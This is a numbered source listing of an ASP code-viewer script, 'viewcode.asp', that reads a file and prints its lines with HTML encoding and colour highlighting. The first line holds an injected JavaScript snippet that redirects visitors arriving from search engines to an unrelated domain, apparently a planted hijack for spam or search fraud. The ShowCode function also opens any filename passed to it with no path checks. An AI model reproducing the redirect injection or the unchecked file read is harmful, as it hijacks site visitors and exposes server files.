d:\wwwroot\wuchunhua\viewcode.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
002:
SUB PrintLine (ByVal strLine)
003:
strLine=server.HTMLEncode(strLine)
004:
strLine=replace(strLine,"<%","<FONT COLOR=#ff0000><%")
005:
strLine=replace(strLine,"%>","%></FONT>")
006:
strLine=replace(strLine,"<SCRIPT","<FONT COLOR=#0000ff><SCRIPT",1,-1,1)
007:
strLine=replace(strLine,"</SCRIPT>","</SCRIPT></FONT>",1,-1,1)
008:
strLine=replace(strLine,"<!--","<FONT COLOR=#008000><!--",1,-1,1)
009:
strLine=replace(strLine,"-->","--></FONT>",1,-1,1)
010:
Response.Write strLine
011:
END SUB
012:
Function ShowCode(filename)
013:
Dim strFilename
014:
Dim FileObject, oInStream, strOutput
015:
strFilename = filename
016:
Set FileObject = Server.CreateObject("Scripting.FileSystemObject")
017:
Set oInStream = FileObject.OpenTextFile(strFilename, 1, 0, 0 )
018:
While NOT oInStream.AtEndOfStream
019:
strOutput = oInStream.ReadLine
020:
Call PrintLine(strOutput)
021:
Response.Write("<BR>")
022:
Wend
023:
end function
024:
%
>
025:
026: